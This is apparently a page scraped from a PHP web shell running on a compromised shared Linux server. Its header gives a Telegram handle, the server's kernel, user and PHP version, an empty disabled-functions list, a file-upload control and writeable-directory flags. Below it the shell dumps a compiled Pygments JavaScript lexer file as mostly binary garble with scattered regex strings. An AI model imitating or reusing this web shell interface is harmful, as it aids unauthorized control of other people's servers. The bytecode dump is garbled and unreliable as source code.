https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/pygments/lexers/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/pygments/lexers/__pycache__/javascript.cpython-310.pyc
o

���a���
@s�dZddlZddlmZmZmZmZmZmZm	Z	m
Z
mZmZm
Z
ddlmZmZmZmZmZmZmZmZmZmZddlmZddlmZgd�Zde�dd	d
ddd
�dZ de�dd	d
ddd
dddd�
dZ!e de!dZ"e�#d�Z$Gdd�de
�Z%Gdd�de%�Z&Gdd�de
�Z'Gdd�de
�Z(Gd d!�d!e
�Z)Gd"d#�d#e
�Z*Gd$d%�d%e
�Z+Gd&d'�d'e
�Z,Gd(d)�d)e
�Z-Gd*d+�d+e
�Z.Gd,d-�d-e
�Z/Gd.d/�d/e	�Z0dS)0z�
    pygments.lexers.javascript
    ~~~~~~~~~~~~~~~~~~~~~~~~~~

    Lexers for JavaScript and related languages.

    :copyright: Copyright 2006-2021 by the Pygments team, see AUTHORS.
    :license: BSD, see LICENSE for details.
�N)�bygroups�combined�default�
do_insertions�include�inherit�Lexer�
RegexLexer�this�using�words)
�Text�Comment�Operator�Keyword�Name�String�Number�Punctuation�Other�Generic)�get_bool_opt)�JavascriptLexer�KalLexer�LiveScriptLexer�	DartLexer�TypeScriptLexer�
LassoLexer�ObjectiveJLexer�CoffeeScriptLexer�	MaskLexer�
EarlGreyLexer�JuttleLexer�NodeConsoleLexerz(?:[$_�Lu�Ll�Lt�Lm�Lo�Nlz]|\\u[a-fA-F0-9]{4})z(?:[$�Mn�Mc�Nd�Pcu‌‍]|\\u[a-fA-F0-9]{4})z(?:z)*z.*?
c@s�eZdZdZdZddgZgd�Zgd�Zej	ej
BejBZde
fdefd	ejfd
ejfged�dejd
fde
dfed
�gde
d
fgdejfde
dfed�dejfdejfdejfdejfdejfdefdedfdedfdefdejdfdej fdedfd ej!dfd!ej fd"ej"fd#e#j$fd$e#j%fd%e&ee
�dfd&e#j'dfe(e#j'fd'ej)fd(ejfd)ej*d*fgd)ej*d
fd+ej*fd,ej+d-fd.ej*fd/ej*fgd0ej+d
fed1�gd2�Z,d3S)4rz%
    For JavaScript source code.
    �
JavaScript�
javascript�js)z*.jsz*.jsmz*.mjsz*.cjs)zapplication/javascriptzapplication/x-javascriptztext/x-javascriptztext/javascript�\s+�<!--�//.*?\n�	/\*.*?\*/�commentsandwhitespace�7/(\\.|[^[/\\\n]|\[(\\.|[^\]\\\n])*])+/([gimuysd]+\b|\B)�#pop�(?=/)�r7�badregex�\nz\A#! ?/.*?\n�^(?=\s|/|<!--)�slashstartsregexz0[bB][01]+n?z0[oO]?[0-7]+n?z0[xX][0-9a-fA-F]+n?z[0-9]+nz2(\.[0-9]+|[0-9]+\.[0-9]*|[0-9]+)([eE][-+]?[0-9]+)?z	\.\.\.|=>zP\+\+|--|~|\?\?=?|\?|:|\\(?=\n)|(<<|>>>?|==?|!=?|(?:\*\*|\|\||&&|[-<>+*%&|^/]))=?�[{(\[;,]�[})\].]z((typeof|instanceof|in|void|delete|new)\bz\b(constructor|from|as)\bz�(for|in|while|do|break|return|continue|switch|case|default|if|else|throw|try|catch|finally|yield|await|async|this|of|static|export|import|debugger|extends|super)\bz%(var|let|const|with|function|class)\bz�(abstract|boolean|byte|char|double|enum|final|float|goto|implements|int|interface|long|native|package|private|protected|public|short|synchronized|throws|transient|volatile)\b�*(true|false|null|NaN|Infinity|undefined)\ba�(Array|Boolean|Date|BigInt|Function|Math|ArrayBuffer|Number|Object|RegExp|String|Promise|Proxy|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|DataView|document|window|globalThis|global|Symbol|Intl|WeakSet|WeakMap|Set|Map|Reflect|JSON|Atomics|Int(?:8|16|32)Array|BigInt64Array|Float32Array|Float64Array|Uint8ClampedArray|Uint(?:8|16|32)Array|BigUint64Array)\bz;((?:Eval|Internal|Range|Reference|Syntax|Type|URI)?Error)\bz (super)(\s*)(\([\w,?.$\s]+\s*\))z!([a-zA-Z_?.$][\w?.$]*)(?=\(\) \{)�"(\\\\|\\[^\\]|[^"\\])*"�'(\\\\|\\[^\\]|[^'\\])*'�`�interp�\\.z\$\{�
interp-insidez\$z[^`\\$]+�\}�root)r5r=r:rHrDrFN)-�__name__�
__module__�__qualname__�__doc__�name�aliases�	filenames�	mimetypes�re�DOTALL�UNICODE�	MULTILINE�flagsr
r�Single�	Multilinerr�Regexr�Hashbangr�Bin�Oct�Hex�Integer�Floatrr�Wordr�Reserved�Declaration�Constantr�Builtin�	Exceptionrr�JS_IDENT�Double�Backtick�Interpol�tokens�rjrj�</usr/lib/python3/dist-packages/pygments/lexers/javascript.pyr"s������
�
��	
�

�
;
�
	�
�rc@s�eZdZdZdZddgZdgZddgZdZd	d
e	dfde	j
dfd
e	jfde	jfde
e	jeeje�dfde
ejee	j�fdee	j
fegiZdS)rz`
    For `TypeScript <http://typescriptlang.org/>`_ source code.

    .. versionadded:: 1.6
    �
TypeScript�
typescript�tsz*.tszapplication/x-typescriptztext/x-typescriptg�?rHz9(abstract|implements|private|protected|public|readonly)\br=z(enum|interface|override)\bz\b(declare|type)\bz\b(string|boolean|number)\bz(\b(module)(\s*)(\s*[\w?.$][\w?.$]*)(\s*)z+([\w?.$][\w?.$]*)(\s*:\s*)([\w?.$][\w?.$]*)�@N)rIrJrKrLrMrNrOrP�priorityrrar`�Typerr
rrrerrirjrjrjrkr�s0�
����rc@s�eZdZdZdZdgZdgZddgZej	Z
defdej
fd	ejfgd
ejdfed�gd
efdejdfd
ejfed�gdedfdefed�gdedfdefed�ged�dejfdefdejfdejfdefdedfdefdejdfdejdfd ed!fd"ejjfd#efd$ejfd%ejfd&ejfd'ejfd(ej fd)ej!fd*ed+fd,ed-fd.ed/fd0ed1fgd2efgd3ej"dfed�gd.edfd4efd5ej"d6fed7�gd0edfd8efed7�gd*edfd9efd5ej"d6fed7�gd,edfd:efed7�gd;�Z#d<S)=rzk
    For `Kal`_ source code.

    .. _Kal: http://rzimmerman.github.io/kal


    .. versionadded:: 2.0
    �Kal�kalz*.kalztext/kalzapplication/kalr1�
###[^#].*?###�#(?!##[^#]).*?\nz[$a-zA-Z_][\w$]*\s*r7r5z\binherits\s+from\bz[$a-zA-Z_][\w$]*\s*\n�\]z\b(property|value)\brHr;z\bfrom\b�</(?! )(\\.|[^[/\\\n]|\[(\\.|[^\]\\\n])*])+/([gimuysd]+\b|\B)z%\?|:|_(?=\n)|==?|!=|-(?!>)|[<>+*/-]=?zE\b(and|or|isnt|is|not|but|bitwise|mod|\^|xor|exists|doesnt\s+exist)\bz(?:\([^()]+\))?\s*>z[{(]�\[�listcomprehensionz[})\].,]z\b(function|method|task)\b�functiondefz	\bclass\b�classdefz\b(safe\s+)?wait\s+for\b�waitforz#\b(me|this)(\.[$a-zA-Z_][\w.$]*)?\bz�(?<![.$])(for(\s+(parallel|series))?|in|of|while|until|break|return|continue|when|if|unless|else|otherwise|except\s+when|throw|raise|fail\s+with|try|catch|finally|new|delete|typeof|instanceof|super|run\s+in\s+parallel|inherits\s+from)\bzN(?<![.$])(true|false|yes|no|on|off|null|nothing|none|NaN|Infinity|undefined)\bz�(Array|Boolean|Date|Error|Function|Math|Number|Object|RegExp|String|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|isSafeInteger|parseFloat|parseInt|document|window|globalThis|Symbol|print)\bz%[$a-zA-Z_][\w.$]*\s*(:|[+\-*/]?\=)?\b�%[0-9][0-9]*\.[0-9]+([eE][0-9]+)?[fd]?�0x[0-9a-fA-F]+�[0-9]+�"""�tdqs�'''�tsqs�"�dqs�'�sqs�
[^#\\\'"]+rG�\\.|\'�#\{�interpoling_string�strings�#|\\.|"�\\.|\'|"�
#|\\.|\'|")r5rzr{ryr|rHr�r�r�r�r�r�N)$rIrJrKrLrMrNrOrPrQrRrUr
rrWrVr�Functionrr�ClassrrrXrr_ra�Variable�Instancerbrcrr^r\r]rhrirjrjrjrkr�s�	�
�
������


����(�
�
��
��
�rc@s�eZdZdZdZddgZdgZdgZej	Z
defdej
fd	ejfged
�dejdfd
ejfdejfged
�dejdfdejdfd
edfed�gdedfed
�dejfdedfdedfdefdedfdejfdejfdejdfdejjdfdejdfdejdfdejfd ejfd!ed"fd#ed$fd%ed&fd'ed(fd)efd*efgd+efgd,ej dfed-�gd%edfd.efd/ej d0fd1efed2�gd'edfd3efed2�gd!edfd4efd/ej d0fd1efed2�gd#edfd5efed2�gd6�
Z!d7S)8rzp
    For `LiveScript`_ source code.

    .. _LiveScript: https://livescript.net/

    .. versionadded:: 1.6
    �
LiveScript�
livescriptzlive-scriptz*.lsztext/livescriptr1r4z#.*?\nr5z//([gimuysd]+\b|\B)r7�/�[^/#]+z//�r7�multilineregexrw�
\A(?=\s|/)r=z?(?:\([^()]+\))?[ ]*[~-]{1,2}>|(?:\(?[^()\n]+\)?)?[ ]*<[~-]{1,2}z�\+\+|&&|(?<![.$])\b(?:and|x?or|is|isnt|not)\b|\?|:|=|\|\||\\(?=\n)|(<<|>>>?|==?|!=?|~(?!\~?>)|-(?!\-?>)|<(?!\[)|(?<!\])>|[+*`%&|^/])=?r>r?z�(?<![.$])(for|own|in|of|while|until|loop|break|return|continue|switch|when|then|if|unless|else|throw|try|catch|finally|new|delete|typeof|instanceof|super|extends|this|class|by|const|var|to|til)\bzF(?<![.$])(true|false|yes|no|on|off|null|NaN|Infinity|undefined|void)\bz�(Array|Boolean|Date|Error|Function|Math|Number|Object|RegExp|String|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|document|window|globalThis|Symbol|Symbol|BigInt)\bz[$a-zA-Z_][\w.\-:$]*\s*[:=]\sz@[$a-zA-Z_][\w.\-:$]*\s*[:=]\sroz@?[$a-zA-Z_][\w-]*z/[0-9]+\.[0-9]+([eE][0-9]+)?[fd]?(?:[a-zA-Z_]+)?z"[0-9]+(~[0-9a-z]+)?(?:[a-zA-Z_]+)?r�r�r�r�r�r�r�r�z\\\S+z	<\[.*?\]>r�rGrHr�r�r��#r�r�r�r��
r5r�r=rHr�r�r�r�r�r�N)"rIrJrKrLrMrNrOrPrQrRrUr
rrWrVrrrXrrrr�rrrbrcr�r�rrr^r]rhrirjrjrjrkr!s��
�
��	�������

�)�
�
��
��
�rc@s
eZdZdZdZdgZdgZdgZej	ej
BZed�de
jfded	fd
efdefde
jfd
e
jfdeeje�dfdefdejfdejfdejfdefdejfdejfdefdefdejfdefdefdefgdejdfged�defdefdefd efd!edfgd"ej fd#ejfd$ej fd%ejfd&ej d'fd(ejd)fd*ej d+fd,ejd-fgd.ej!fd/eej"e�fd0eej"e#e$�ej"�fgd*ej dfd1ej fed2�d3ej fgd&ej dfd4ej fed2�d5ej fgd,ejdfd6ejfed2�d3ejfgd(ejdfd7ejfed2�d8ejfgd9�	Z%d:S);rzP
    For `Dart <http://dart.dev/>`_ source code.

    .. versionadded:: 1.5
    �Dart�dartz*.dartztext/x-dart�string_literalz#!(.*?)$z\b(import|export)\b�import_declz!\b(library|source|part of|part)\b�[^\S\n]+r3r4z \b(class|extension|mixin)\b(\s+)�classz�\b(as|assert|break|case|catch|const|continue|default|do|else|finally|for|if|in|is|new|rethrow|return|super|switch|this|throw|try|while)\bz�\b(abstract|async|await|const|covariant|extends|external|factory|final|get|implements|late|native|on|operator|required|set|static|sync|typedef|var|with|yield)\bzH\b(bool|double|dynamic|int|num|Function|Never|Null|Object|String|void)\bz\b(false|null|true)\bz[~!%^&*+=|?:<>/-]|as\bz@[a-zA-Z_$]\w*z[a-zA-Z_$]\w*:z
[a-zA-Z_$]\w*z
[(){}\[\],.;]z0[xX][0-9a-fA-F]+z\d+(\.\d*)?([eE][+-]?\d+)?z\.\d+([eE][+-]?\d+)?r;r7r1z\b(as|deferred|show|hide)\bz\,z\;zr"""([\w\W]*?)"""zr'''([\w\W]*?)'''zr"(.*?)"zr'(.*?)'r��string_double_multiliner��string_single_multiliner��
string_doubler��
string_singlezA\\(x[0-9A-Fa-f]{2}|u[0-9A-Fa-f]{4}|u\{[0-9A-Fa-f]*\}|[a-z'\"$\\])z(\$)([a-zA-Z_]\w*)z(\$\{)(.*?)(\})z
[^"$\\\n]+�
string_commonz\$+z[^"$\\]+z(\$|\")+z
[^'$\\\n]+z	[^\'$\\]+z(\$|\')+)	rHr�r�r�r�r�r�r�r�N)&rIrJrKrLrMrNrOrPrQrTrRrUrr�Preprocrr
rVrWrrarqrbrr�	Decorator�Labelrrr\r�rrf�Escaperhrr
rirjrjrjrkr�s������
 ��




�
���
�
�
�
�
�rc
@s�eZdZdZdZddgZddgZgd�ZdgZe	j
e	jBe	jBZ
id	d
ejdfdedfd
efed�g�ddejdfdejdfdejdfdejdfdefdefg�ddejdfdefdejdfdefdefg�ddejdfdefdefg�ddejdfed�g�ddejdfed�g�ddejdfed�g�d d
efd!ejfd"ejfd#ejfg�dged ��d$ejf�d%ejf�d&ejf�d'ef�d(ejd)f�d*ejd+f�d,ejf�d-ejf�d.ejj f�d/e!ej"j#ejj$�f�d0e!ej"j#e%ejj$�f�d1e!ej"j#ejj&�f�d2e!e%ejj&�f�d3ej"j#f�d4ej'f�d5ej(f�d6ej)f�d7e!e*j+eej$e%e*�f�d8e!e*j+eej$e%ej,�d9f�d:e!e*j+eej,�d9f�d;e!e*eej,�d9f�d<e!e*eej,�f�d=e*j-f�d>e*j+f�d?e*j.f�d@e!eee*�f�dAe!e*ee�f�dBe*dCf�dDe!e/e*j0�f�dEe!e/e*�f�dFe/dGf�dHe%j1f�dIe!eej(e%�f�dJe!e/ej�f�dKe!e%e%j1�f�dLe%f�dMe/f��d)d(ejdfdNejfedO�dPejfg�d+d*ejdfdQejfedO�dPejfg�dOdRej2fg�d9dSe%dfdTe/dfdUe/dVfed�g�dVdTe/dfdWej'dfdXej"j#fed�g�dCdYedZfd[efd\edfd5ej(fdFe/fed �g�dZd]e/dfdTe/d^fdWej'fd5ej(fdXej"j#fdUe/fed �g�dGd_ej,d9fed �ed�g�Z3d`da�Z4dbdc�Z5ddde�Z6dfS)gra
    For `Lasso <http://www.lassosoft.com/>`_ source code, covering both Lasso 9
    syntax and LassoScript for Lasso 8.6 and earlier. For Lasso embedded in
    HTML, use the `LassoHtmlLexer`.

    Additional options accepted:

    `builtinshighlighting`
        If given and ``True``, highlight builtin types, traits, methods, and
        members (default: ``True``).
    `requiredelimiters`
        If given and ``True``, only highlight code between delimiters as Lasso
        (default: ``False``).

    .. versionadded:: 1.6
    �Lasso�lasso�lassoscriptz*.lassoz*.lasso[89])z*.inclz*.incz*.lasztext/x-lassorHz^#![ \S]+lasso9\bz(?=\[|<)�
delimitersr1)r��	lassofilez\[no_square_brackets\]�nosquarebracketsz
\[noprocess\]�	noprocessrx�squarebracketsz<\?(lasso(script)?|=)�
anglebracketsz
<(!--.*?-->)?z[^[<]+z\[/noprocess\]r7z[^[]rvz\?>r�z\]|\?>�whitespacecommentsr3z/\*\*!.*?\*/r4z\d*\.\d+(e[+-]?\d+)?z
0x[\da-f]+�\d+z(infinity|NaN)\br��singlestringr��doublestringz`[^`]*`z\$[a-z_][\w.]*z#([a-z_][\w.]*|\d+\b)z(\.\s*)('[a-z_][\w.]*')z (self)(\s*->\s*)('[a-z_][\w.]*')z!(\.\.?\s*)([a-z_][\w.]*(=(?!=))?)z&(->\\?\s*|&\s*)([a-z_][\w.]*(=(?!=))?)z3(?<!->)(self|inherited|currentcapture|givenblock)\bz-(?!infinity)[a-z_][\w.]*z::\s*[a-z_][\w.]*a�(error_(code|msg)_\w+|Error_AddError|Error_ColumnRestriction|Error_DatabaseConnectionUnavailable|Error_DatabaseTimeout|Error_DeleteError|Error_FieldRestriction|Error_FileNotFound|Error_InvalidDatabase|Error_InvalidPassword|Error_InvalidUsername|Error_ModuleNotFound|Error_NoError|Error_NoPermission|Error_OutOfMemory|Error_ReqColumnMissing|Error_ReqFieldMissing|Error_RequiredColumnMissing|Error_RequiredFieldMissing|Error_UpdateError)\bz:(define)(\s+)([a-z_][\w.]*)(\s*=>\s*)(type|trait|thread)\bz=(define)(\s+)([a-z_][\w.]*)(\s*->\s*)([a-z_][\w.]*=?|[-+*/%])�	signaturez(define)(\s+)([a-z_][\w.]*)zJ(public|protected|private|provide)(\s+)(([a-z_][\w.]*=?|[-+*/%])(?=\s*\())z5(public|protected|private|provide)(\s+)([a-z_][\w.]*)z)(true|false|none|minimal|full|all|void)\bz((local|var|variable|global|data(?=\s))\bz�(array|date|decimal|duration|integer|map|pair|string|tag|xml|null|boolean|bytes|keyword|list|locale|queue|set|stack|staticarray)\bz([a-z_][\w.]*)(\s+)(in)\bz(let|into)(\s+)([a-z_][\w.]*)z	require\b�requiresectionz(/?)(Namespace_Using)\ba(/?)(Cache|Database_Names|Database_SchemaNames|Database_TableNames|Define_Tag|Define_Type|Email_Batch|Encode_Set|HTML_Comment|Handle|Handle_Error|Header|If|Inline|Iterate|LJAX_Target|Link|Link_CurrentAction|Link_CurrentGroup|Link_CurrentRecord|Link_Detail|Link_FirstGroup|Link_FirstRecord|Link_LastGroup|Link_LastRecord|Link_NextGroup|Link_NextRecord|Link_PrevGroup|Link_PrevRecord|Log|Loop|Output_None|Portal|Private|Protect|Records|Referer|Referrer|Repeating|ResultSet|Rows|Search_Args|Search_Arguments|Select|Sort_Args|Sort_Arguments|Thread_Atomic|Value_List|While|Abort|Case|Else|Fail_If|Fail_IfNot|Fail|If_Empty|If_False|If_Null|If_True|Loop_Abort|Loop_Continue|Loop_Count|Params|Params_Up|Return|Return_Value|Run_Children|SOAP_DefineTag|SOAP_LastRequest|SOAP_LastResponse|Tag_Name|ascending|average|by|define|descending|do|equals|frozen|group|handle_failure|import|in|into|join|let|match|max|min|on|order|parent|protected|provide|public|require|returnhome|skip|split_thread|sum|take|thread|to|trait|type|where|with|yield|yieldhome)\b�,�commamemberz(and|or|not)\bz0([a-z_][\w.]*)(\s*::\s*[a-z_][\w.]*)?(\s*=(?!=))z(/?)([\w.]+)z,(=)(n?bw|n?ew|n?cn|lte?|gte?|n?eq|n?rx|ft)\bz:=|[-+*/%=<>&|!?\\]+z[{}():;,@^]z[^'\\]+�escape�\\z[^"\\]+zS\\(U[\da-f]{8}|u[\da-f]{4}|x[\da-f]{1,2}|[0-7]{1,3}|:[^:\n\r]+:|[abefnrtv?"\'\\]|$)z=>�\)z[(,]�	parameterz-?[a-z_][\w.]*z\.\.\.z#(([a-z_][\w.]*=?|[-+*/%])(?=\s*\())�requiresignaturez3(([a-z_][\w.]*=?|[-+*/%])(?=(\s*::\s*[\w.]+)?\s*,))z[a-z_][\w.]*=?|[-+*/%]z(\)(?=(\s*::\s*[\w.]+)?\s*,))�#pop:2zR(([a-z_][\w.]*=?|[-+*/%])(?=\s*(\(([^()]*\([^()]*\))*[^)]*\)\s*)?(::[\w.\s]+)?=>))cKs�t|dd�|_t|dd�|_t�|_t�|_|jr?ddlm}m}|�	�D]
\}}|j�
|�q%|�	�D]
\}}|j�
|�q4tj|fi|��dS)N�builtinshighlightingT�requiredelimitersFr)�BUILTINS�MEMBERS)
rr�r��set�	_builtins�_members�pygments.lexers._lasso_builtinsr�r��items�updater	�__init__)�self�optionsr�r��key�valuerjrjrkr��s��zLassoLexer.__init__ccs��dg}|jr|�d�t�|||�D]/\}}}|tjur$|��|jvs4|tjjur<|���	d�|j
vr<|tj|fVq|||fVqdS)NrHr��=)r��appendr	�get_tokens_unprocessedrr�lowerr��Member�rstripr�rc)r��text�stack�index�tokenr�rjrjrkr��s�
��z!LassoLexer.get_tokens_unprocessedcCsHd}d|vr
|d7}t�d|tj�r|d7}t�d|tj�r"|d7}|S)Ngz
bin/lasso9g�������?z<\?lassog�������?zlocal\()rQ�search�I)r��rvrjrjrk�analyse_text�szLassoLexer.analyse_textN)7rIrJrKrLrMrNrO�alias_filenamesrPrQ�
IGNORECASErRrTrUrr�rrrr
rVr�DocrWrr^r\r]rfrgrr�r�rrc�Pseudor�rr��	Attributer�rdrrar�rbrqr�	Namespacer_r�rir�r�r�rjrjrjrkr�s�
��



��

��
��
��
��#
��'��-�����
	�

���
���������������'��)���,��.��1��5�6�7��:�;�<�=�>��S�T�U��W�X
��Z�[��
���
����������!

���'���/
���8����A
rc@sVeZdZdZdZgd�ZdgZdgZdZe	j
e	jBZe
d�ded	ed
edeee�eedd
�ee��fdeee�dfdeee�dfdeeee�fe
d�defdefgdeejeej�fdeejeej�fdeejeej�fdeejeej�fdejdfdejdfdefdefd efd!ejfd"ejfd#efge
d�d$ejd%fd&ed'fed%�gded%fgd(ed)fd*ejfd+ejfd,ejfd-ejfd.ejfd/ejfd0ej fd1ej!fd2ed3fd4e"d3fd5ed3fd6efd7ed3fd8ej#d3fd9efd:ej$fd;e%j&fd<ej'fd=ej'fd>ej'fd?e%j&fd@edAee%j(ee��fdBe%fgdCedDedEee%j)ee�e%j)�d%fdCedFee%j)ee�e%j*e�d%fdGe%j)d%fgdHee%j)e�dIfdJee%j)e�d%fge
d�dKedLedMedNedOeee�ej$ee�e%j(�dPfdKedLedMedQeee�ej$ee�e%j(�d%fdRedOee%j(�dPfdSee%j(�d%fed%�ge
d�dKedTedMedQeee�ej$ee�e�fdRedOe%j(fdUe%j(fdVedWee�fdSefgdXee%j(e�fdYed%fgdZed%fd[ej+fd\efd efd]efgd^ejfd_ejfd`ejd%fdaejfdbejfdejd%fgdcejdIfddejd%fdeefgdf�
Z,dgdh�Z-diS)jrz^
    For Objective-J source code with preprocessor directives.

    .. versionadded:: 1.3
    zObjective-J)zobjective-j�
objectivejzobj-j�objjz*.jztext/x-objective-jz(?:\s|//.*?\n|/[*].*?[*]/)*�
whitespacez^(z[+-]z)([(a-zA-Z_].*?[^(])(z\{)�function_signature)�statez!(@interface|@implementation)(\s+)�	classnamez(@class|@protocol)(\s*)�forward_classnamez(\s*)(@end)(\s*)�
statementsz[{()}]�;z$(@import)(\s+)("(?:\\\\|\\"|[^"])*")z$(@import)(\s+)(<(?:\\\\|\\>|[^>])*>)z0(#(?:include|import))(\s+)("(?:\\\\|\\"|[^"])*")z0(#(?:include|import))(\s+)(<(?:\\\\|\\>|[^>])*>)z#if\s+0�if0r��macror;r1�\\\nz//(\n|(.|\n)*?[^\\]\n)z/(\\\n)?[*](.|\n)*?[*](\\\n)?/r2z3/(\\.|[^[/\\\n]|\[(\\.|[^\]\\\n])*])+/([gim]+\b|\B)r7r8r9z(L|@)?"�stringz8(L|@)?'(\\.|\\[0-7]{1,3}|\\x[a-fA-F0-9]{1,2}|[^\\\'\n])'rArBz%(\d+\.\d*|\.\d+|\d+)[eE][+-]?\d+[lL]?z(\d+\.\d*|\.\d+|\d+[fF])[fF]?z0x[0-9a-fA-F]+[Ll]?z0[0-7]+[Ll]?z\d+[Ll]?r<r=z@\+\+|--|~|&&|\?|:|\|\||\\(?=\n)|(<<|>>>?|==?|!=?|[-<>+*%&|^/])=?r>r?z�(for|in|while|do|break|return|continue|switch|case|default|if|else|throw|try|catch|finally|new|delete|typeof|instanceof|void|prototype|__proto__)\bz(var|with|function)\bz�(@selector|@private|@protected|@public|@encode|@synchronized|@try|@throw|@catch|@finally|@end|@property|@synthesize|@dynamic|@for|@accessors|new)\bzt(int|long|float|short|double|char|unsigned|signed|void|id|BOOL|bool|boolean|IBOutlet|IBAction|SEL|@outlet|@action)\bz(self|super)\bz"(TRUE|YES|FALSE|NO|Nil|nil|NULL)\br@z�(ABS|ASIN|ACOS|ATAN|ATAN2|SIN|COS|TAN|EXP|POW|CEIL|FLOOR|ROUND|MIN|MAX|RAND|SQRT|E|LN2|LN10|LOG2E|LOG10E|PI|PI2|PI_2|SQRT1_2|SQRT2)\bz�(Array|Boolean|Date|Error|Function|Math|Number|Object|RegExp|String|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|Error|eval|isFinite|isNaN|parseFloat|parseInt|document|this|window|globalThis|Symbol)\bz([$a-zA-Z_]\w*)(z)(?=\()z
[$a-zA-Z_]\w*z([a-zA-Z_]\w*)(�:z)([a-zA-Z_]\w*)?z\()([a-zA-Z_]\w*)(\))z([a-zA-Z_]\w*)z([a-zA-Z_]\w*)(\s*,\s*)z#pushz([a-zA-Z_]\w*)(\s*;?)z(\(z)([a-zA-Z_]\w+)(r�z)([$a-zA-Z_]\w+z:)�function_parametersz)([$a-zA-Z_]\w+)z([$a-zA-Z_]\w+z([$a-zA-Z_]\w+)z	)([^)]+)(z(:)z(,z\.\.\.)z([$a-zA-Z_]\w*)(\()z(\))r�z/\\([\\abfnrtv"\']|x[a-fA-F0-9]{2,4}|[0-7]{1,3})z	[^\\"\n]+r�z[^/\n]+z/[*](.|\n)*?[*]/r3r�z	(?<=\\)\nz^\s*#if.*?(?<!\\)\nz^\s*#endif.*?(?<!\\)\nz.*?\n)
rHr�r=r:r�r�r�r�r��
expressionr�r�r�cCst�d|tj�r
dSdS)Nz^\s*@import\s+[<"]TF)rQr�rT)r�rjrjrkr��szObjectiveJLexer.analyse_textN).rIrJrKrLrMrNrOrP�_wsrQrRrTrUrrrr
rr
rrr�rrfrVrWrXr�Charrr^r\r[r]rrarqrrcrbr�r�r�r�rir�rjrjrjrkr�s���
�
������

�������
����
��7��
�
����
��������
������

�
��
�����
�����

�
	
���Hrc@s�eZdZdZdZgd�ZdgZdgZdZe	j
Zdefde
jfd	e
jfgd
ejfdejdfd
ejdfdejfged�dejdfdejdfdedfed�ged�dedfeedfdejdfdedfdefdedfdejfdejfdejdfdejjdfdejdfd ejfd!ej fd"ej!fd#ej"fd$ed%fd&ed'fd(ed)fd*ed+fgd,efgd-ejdfed.�gd(edfd/efd
ejdfd0efed1�gd*edfd2efed1�gd$edfd3efd
ejdfd0efed1�gd&edfd4efed1�gd5�
Z#d6S)7rzt
    For `CoffeeScript`_ source code.

    .. _CoffeeScript: http://coffeescript.org

    .. versionadded:: 1.3
    �CoffeeScript)�coffeescriptz
coffee-script�coffeez*.coffeeztext/coffeescriptzx\+\+|~|&&|\band\b|\bor\b|\bis\b|\bisnt\b|\bnot\b|\?|:|\|\||\\(?=\n)|(<<|>>>?|==?(?!>)|!=?|=(?!>)|-(?!>)|[<>+*`%&|\^/])=?r1rtrur�z///([gimuysd]+\b|\B)r7r�r�z[/#]r5z///r�rwr�r�r=z(?:\([^()]*\))?\s*[=-]>r>r?z�(?<![.$])(for|own|in|of|while|until|loop|break|return|continue|switch|when|then|if|unless|else|throw|try|catch|finally|new|delete|typeof|instanceof|super|extends|this|class|by)\bzA(?<![.$])(true|false|yes|no|on|off|null|NaN|Infinity|undefined)\bz�(Array|Boolean|Date|Error|Function|Math|Number|Object|RegExp|String|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|document|window|globalThis|Symbol)\bz[$a-zA-Z_][\w.:$]*\s*[:=]\sz@[$a-zA-Z_][\w.:$]*\s*[:=]\sroz@?[$a-zA-Z_][\w$]*r}r~rr�r�r�r�r�r�r�r�r�rGrHr�r�r�r�r�r�r�N)$rIrJrKrLrMrNrOrP�_operator_rerQrRrUr
rrWrVrrXrhrrrrr�rrrbrcr�r�rrr^r\r]rirjrjrjrkr�s���

�
��
�����
�#�
�
��
��
�rc@s�eZdZdZdZdgZdgZdgZej	ej
BejBZidde
fdejfd	ejfd
efdedfd
edfdedfdedfdejdfdejdfdejdfdejjdfg�ddejfdejdfdejfg�ddejdfed�g�ddejdfed�g�ddejdfed�g�dd
ejdfed�g�ddejdfdejd fd!ejfd"ejfg�d d"ee�dfg�dde
fd#ejjd$fd%ejd&fd'ejd(fd)ejd*fd+ejfd,edfg�d$d-ejjfdejdfed�g�d&d-ejfdejdfed�g�d*de
fd.ejdfded/fded0fed�g�d(de
fdejd1fdejd2fed*�g�d3de
fd4efd5ej fg�d1ed3�dejd6fd7ej!fg�d2ed3�dejd6fd8ej!fg�d/dejd6fed�g�d0dejd6fed�gi�Z"d9S):r z\
    For `Mask <https://github.com/atmajs/MaskJS>`__ markup.

    .. versionadded:: 2.0
    �Mask�maskz*.maskztext/x-maskrHr1r3r4z[{};>]r�zstring-trpl-singler�zstring-trpl-doubler�z
string-singler�z
string-doublez([\w-]+)�nodez
([^.#;{>\s]+)z	(#[\w-]+)z
(\.[\w-]+)zstring-baserEz~\[�
interpolation�.r7rvz\s*:r�z\s*\w+:z[^\]]+z\.z
node-classz\#znode-idzstyle[ \t]*=znode-attr-style-valuez[\w:-]+[ \t]*=znode-attr-valuez[\w:-]+z[>{;]z[\w-]+z\w+zstring-single-pop2zstring-double-pop2zcss-single-endzcss-double-endzcss-baser�z[\w\-]+\s*:r�z[^;']+z[^;"]+N)#rIrJrKrLrMrNrOrPrQrTr�rRrUr
rrVrWrrr�Tagr�r�r�r�rhrrrrr�rrc�Entityrirjrjrjrkr Hs�


��
��
��
��
�� 
��$

��*��-


��6

��;
��@
��G

��M��R
��W
��\
��`
�
�r c @s�eZdZdZdZgd�ZdgZdgZiddefe	d�d	efd
e
fdefdefd
efe	d�edddd�e
jfdejfde
jfde
jfde
fdejfe	d�e	d�e	d�deeejeejj�dfdejdfdejd fd!ejfe	d"�d#eed$d%�fd&eed$d'�fd(eed$d)�fe	d*�e	d+�e	d,�e	d-�g�dd.eeejj�fd/eeejje�fd0efd1e
